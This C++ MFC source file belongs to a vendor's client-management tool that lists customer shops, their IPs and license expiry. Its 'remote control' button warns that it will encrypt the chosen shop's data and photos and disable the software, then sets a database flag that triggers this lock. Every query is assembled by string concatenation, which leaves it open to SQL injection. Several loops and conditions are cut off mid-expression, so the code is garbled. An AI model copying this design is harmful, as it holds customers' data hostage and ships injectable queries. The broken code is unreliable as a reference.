// ClientIPFrom2.cpp : implementation file // #include "stdafx.h" #include "LYFZIPManage.h" #include "ClientIPForm2.h" #include "MyMdi.H" #include "InputPsw.h" #include "mysqldata.h" #include "InputPsw.h" #include "ShowHistoryReg.h" #include "SetClientIPDlg.h" #include "InputDate.h" #include "PayOutSet.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif #pragma comment(lib, "Shlwapi.lib") ///////////////////////////////////////////////////////////////////////////// // ClientIPFrom2 IDC_STATIC2 IMPLEMENT_DYNCREATE(ClientIPFrom2, CFormView) ClientIPFrom2::ClientIPFrom2() : CFormView(ClientIPFrom2::IDD) { //{{AFX_DATA_INIT(ClientIPFrom2) m_filter = _T(""); //}}AFX_DATA_INIT } ClientIPFrom2::~ClientIPFrom2() { } void ClientIPFrom2::DoDataExchange(CDataExchange* pDX) { CFormView::DoDataExchange(pDX); //{{AFX_DATA_MAP(ClientIPFrom2) DDX_Control(pDX, IDC_COMBO1, m_combo1); DDX_Control(pDX, IDC_LIST2, m_List1); DDX_Control(pDX, IDC_STATIC1, m_static1); DDX_CBString(pDX, IDC_COMBO1, m_filter); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(ClientIPFrom2, CFormView) //{{AFX_MSG_MAP(ClientIPFrom2) ON_BN_CLICKED(IDC_BUTclose, OnBUTclose) ON_BN_CLICKED(IDC_BUTTON1, OnButton1) ON_CBN_SELCHANGE(IDC_COMBO1, OnSelchangeCombo1) ON_WM_TIMER() ON_BN_CLICKED(IDC_BUTimportphoto, OnBUTimportphoto) ON_BN_CLICKED(IDC_BUTshowphoto, OnBUTshowphoto) ON_BN_CLICKED(IDC_BUTmoney, OnBUTmoney) ON_BN_CLICKED(IDC_BTNaddsp, OnBTNaddsp) ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST2, OnItemchangedList2) ON_BN_CLICKED(IDC_BUTTON2, OnButton2) ON_NOTIFY(NM_DBLCLK, IDC_LIST2, OnDblclkList2) ON_BN_CLICKED(IDC_BUTimportphoto2, OnBUTimportphoto2) ON_BN_CLICKED(IDC_BUTmoney4, OnBUTmoney4) ON_BN_CLICKED(IDC_BUTmoney5, OnBUTmoney5) //}}AFX_MSG_MAP ON_NOTIFY(NM_CUSTOMDRAW, IDC_LIST2, OnCustomdrawList1) END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // ClientIPFrom2 diagnostics #ifdef _DEBUG void ClientIPFrom2::AssertValid() const { CFormView::AssertValid(); } void ClientIPFrom2::Dump(CDumpContext& dc) const { CFormView::Dump(dc); } #endif //_DEBUG ///////////////////////////////////////////////////////////////////////////// // ClientIPFrom2 message handlers void ClientIPFrom2::OnInitialUpdate() { CFormView::OnInitialUpdate(); // TODO: Add your specialized code here and/or call the base class CMyMdi Mdi; Mdi.SetSubView((CWnd*)GetParent(), (CWnd*)this); // Here we create the outbar control using the splitter as its parent // and setting its id to the first pane. CRect rc2; GetWindowRect(rc2); ::MoveWindow(m_hWnd,g_rc.left,g_rc.top,g_rc.Width(),g_rc.Height(),TRUE); EnumChildWindows(m_hWnd,(WNDENUMPROC)EnumChildProc,0); m_static1.SetFont (&g_titlefont); m_List1.SetHeadings("域名,100;店名,100;电话,100;地址,100;店长,100;单数(当前/总),100;版本号,100;IP,100;刷新时间,100;控制,100" ); m_List1.LoadColumnInfo (125); m_combo1.GetWindowRect (rc2); ScreenToClient(rc2); rc2.bottom +=200; m_combo1.MoveWindow (rc2); OnButton1(); } void ClientIPFrom2::FillGrid(BOOL bStatus) { m_List1.DeleteAllItems2 (); int ii=0; m_List1.m_arLabels.SetSize( m_List1array.GetSize (), 1 ); int count=0; if(m_filter.IsEmpty ()) { for(ii=0; iiSendMessage(WM_CLOSE); } void ClientIPFrom2::OnSelchangeCombo1() { // TODO: Add your control notification handler code here SetTimer(1, 100, NULL); } void ClientIPFrom2::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default KillTimer(nIDEvent); OnButton1(); } BOOL ClientIPFrom2::PreTranslateMessage(MSG* pMsg) { // TODO: Add your specialized code here and/or call the base class try { if(pMsg->message==WM_KEYDOWN) { switch (pMsg->wParam) { case VK_RETURN: OnButton1(); return 1; case 0x43: // copy if ( ( GetKeyState( VK_CONTROL ) & 0x80 ) ) { GetFocus()->SendMessage(WM_COPY); return TRUE; } break; case 0x56: //Ctrl + V: if ( ( GetKeyState( VK_CONTROL ) & 0x80 ) ) { GetFocus()->SendMessage(WM_PASTE); return TRUE; } break; case 0x58: // cut if ( ( GetKeyState( VK_CONTROL ) & 0x80 ) ) { GetFocus()->SendMessage(WM_CUT); return TRUE; } break; case 0x5A: //undo case 0x59: //redo if ( ( GetKeyState( VK_CONTROL ) & 0x80 ) ) { GetFocus()->SendMessage(WM_UNDO); return TRUE; } break; } } return CFormView::PreTranslateMessage(pMsg); } catch(...) { } } void ClientIPFrom2::OnBTNaddsp() { } void ClientIPFrom2::OnItemchangedList2(NMHDR* pNMHDR, LRESULT* pResult) { NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; // TODO: Add your control notification handler code here *pResult = 0; } extern void ConvertToPrice(CString &str); void ClientIPFrom2::OnButton1() // 查询; { // TODO: Add your control notification handler code here if(1) { MyLock lock("xiaoaccessdbmsg"); CRecordset myset(&g_db); CString sql="select count(*) as cot from [softclient]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); m_List1array.SetSize(atol(sql) , 1 ); CRstSoftClient rsSt; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.domain) ; m_List1array.ElementAt (ii).Add(rsSt.name) ; m_List1array.ElementAt (ii).Add(rsSt.phone) ; m_List1array.ElementAt (ii).Add(rsSt.addr) ; m_List1array.ElementAt (ii).Add(rsSt.admin) ; m_List1array.ElementAt (ii).Add(rsSt.cot) ; m_List1array.ElementAt (ii).Add(rsSt.version) ; m_List1array.ElementAt (ii).Add(rsSt.ip) ; m_List1array.ElementAt (ii).Add(rsSt.datetime) ; if(rsSt.ret=="g_bInSkin") m_List1array.ElementAt (ii).Add("已控制") ; else m_List1array.ElementAt (ii).Add("") ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } UpdateData(); m_filter.TrimLeft (); m_filter.TrimRight (); FillGrid(); } void ClientIPFrom2::OnBUTshowphoto() // 远程控制; { POSITION pos; pos=m_List1.GetFirstSelectedItemPosition(); if(pos==NULL) { AfxMessageBox("请先选中您要控制的项目!", MB_ICONINFORMATION); return; } if(AfxMessageBox("警告:此操作将会导致该店数据,照片加密,无法使用软件, 继续吗?", MB_YESNO|MB_ICONSTOP)!=IDYES)return; InputPsw dlg; if(dlg.DoModal()!=IDOK)return; int iItem=m_List1.GetNextSelectedItem(pos); CString domain=m_List1.GetItemText (iItem, 0); CString name=m_List1.GetItemText (iItem, 1); CString phone=m_List1.GetItemText (iItem, 2); CString sql; sql= "update [softclient] set [ret]='g_bInSkin' where [domain]='"+domain+"' and [name]='"+name+"' and [phone]='"+phone+"' "; MyExecuteSQL(&g_db, sql); OnButton1(); } void ClientIPFrom2::OnDblclkList2(NMHDR* pNMHDR, LRESULT* pResult) { // TODO: Add your control notification handler code here *pResult = 0; } void ClientIPFrom2::OnBUTimportphoto() // 添加域名; { // TODO: Add your control notification handler code here SetClientIPDlg dlg; POSITION pos; pos=m_List1.GetFirstSelectedItemPosition(); if(pos!=NULL) { int iItem=m_List1.GetNextSelectedItem(pos); dlg.m_enterprisename=m_List1.GetItemText (iItem, 0); dlg.m_branchname=m_List1.GetItemText (iItem, 1); dlg.m_name=m_List1.GetItemText (iItem, 2); } if(dlg.DoModal ()==IDOK) OnButton1(); } void ClientIPFrom2::OnBUTimportphoto2() // 清除IP; { POSITION pos; pos=m_List1.GetFirstSelectedItemPosition(); if(pos==NULL) { return; } int iItem=m_List1.GetNextSelectedItem(pos); CString account=m_List1.GetItemText (iItem, 2); CString sql; sql= "update clientip set [ip]='' where [name]='"+account+"'"; MyExecuteSQL(&g_db, sql); OnButton1(); } void ClientIPFrom2::OnButton2() { POSITION pos; pos=m_List1.GetFirstSelectedItemPosition(); if(pos==NULL) { AfxMessageBox("请先选中您要删除的项目!", MB_ICONINFORMATION); return; } // if(AfxMessageBox("警告:删除后将不可恢复, 继续吗?", MB_YESNO|MB_ICONSTOP)!=IDYES)return; // InputPsw dlg; // if(dlg.DoModal()!=IDOK)return; int iItem=m_List1.GetNextSelectedItem(pos); CString domain=m_List1.GetItemText (iItem, 0); CString name=m_List1.GetItemText (iItem, 1); CString phone=m_List1.GetItemText (iItem, 2); CString sql; sql= "delete from softclient where [domain]='"+domain+"' and [name]='"+name+"' and [phone]='"+phone+"' "; MyExecuteSQL(&g_db, sql); OnButton1(); } void ClientIPFrom2::OnCustomdrawList1 ( NMHDR* pNMHDR, LRESULT* pResult ) { NMLVCUSTOMDRAW* pLVCD = reinterpret_cast( pNMHDR ); // Take the default processing unless we set this to something else below. *pResult = 0; // First thing - check the draw stage. If it's the control's prepaint // stage, then tell Windows we want messages for every item. if ( CDDS_PREPAINT == pLVCD->nmcd.dwDrawStage ) { *pResult = CDRF_NOTIFYITEMDRAW; } else if ( CDDS_ITEMPREPAINT == pLVCD->nmcd.dwDrawStage ) { // This is the prepaint stage for an item. Here's where we set the // item's text color. Our return value will tell Windows to draw the // item itself, but it will use the new color we set here. // We'll cycle the colors through red, green, and light blue. CString runtime=m_List1.m_arLabels.ElementAt (pLVCD->nmcd.dwItemSpec).ElementAt (5); CString registertime=m_List1.m_arLabels.ElementAt (pLVCD->nmcd.dwItemSpec).ElementAt (6); if(runtime.IsEmpty ()==0) { CString left,right; int pos=runtime.Find ("能运行:"); if(pos!=-1) { left=runtime.Left (pos); right=runtime.Right (runtime.GetLength ()-pos-7); left.Replace ("已运行:", ""); left.TrimRight (); int year,month,day; pos=left.Find ("年"); year=atoi(left.Left (pos)); left=left.Right (left.GetLength ()-pos-2); pos=left.Find ("月"); month=atoi(left.Left (pos)); left=left.Right (left.GetLength ()-pos-2); pos=left.Find ("日"); day=atoi(left.Left (pos)); left=right; int year2,month2,day2; pos=left.Find ("年"); year2=atoi(left.Left (pos)); left=left.Right (left.GetLength ()-pos-2); pos=left.Find ("月"); month2=atoi(left.Left (pos)); left=left.Right (left.GetLength ()-pos-2); pos=left.Find ("日"); day2=atoi(left.Left (pos)); DWORD tm1=year*365+month*30+day; DWORD tm2=year2*365+month2*30+day2; long dt=tm2-tm1; if(dt<15 || tm1>=tm2) pLVCD->clrText = RGB(220,0,0); else pLVCD->clrText = RGB(20,133,20); if(registertime.GetLength ()==10) { CTime tm(atoi(registertime.Mid (0,4)),atoi(registertime.Mid (5,2)),atoi(registertime.Mid (8,2)),0,0,0); CTime curtm=CTime::GetCurrentTime (); CTimeSpan dt=tm-curtm; if(dt.GetDays ()>10) pLVCD->clrText = RGB(20,133,20); else pLVCD->clrText = RGB(220,0,0); if(tmclrText = RGB(220,0,0); } } } // Tell Windows to paint the control itself. *pResult = CDRF_DODEFAULT; } } void ClientIPFrom2::OnBUTmoney() // 未知客户; { // TODO: Add your control notification handler code here PayOutSet dlg; dlg.DoModal(); } void ClientIPFrom2::OnBUTmoney4() // 到期用户; { // TODO: Add your control notification handler code here m_List1.DeleteAllItems2 (); int ii=0; m_List1.m_arLabels.SetSize( m_List1array.GetSize (), 1 ); int count=0; for(ii=0; ii=tm2) bOK=1; else bOK=0; if(registertime.GetLength ()==10) { CTime tm(atoi(registertime.Mid (0,4)),atoi(registertime.Mid (5,2)),atoi(registertime.Mid (8,2)),0,0,0); CTime curtm=CTime::GetCurrentTime (); CTimeSpan dt=tm-curtm; if(dt.GetDays ()>10) bOK=0; else bOK=1; if(tm=tm2) bOK=1; else bOK=0; if(registertime.GetLength ()==10) { CTime tm(atoi(registertime.Mid (0,4)),atoi(registertime.Mid (5,2)),atoi(registertime.Mid (8,2)),0,0,0); CTime curtm=CTime::GetCurrentTime (); CTimeSpan dt=tm-curtm; if(dt.GetDays ()>10) bOK=0; else bOK=1; if(tm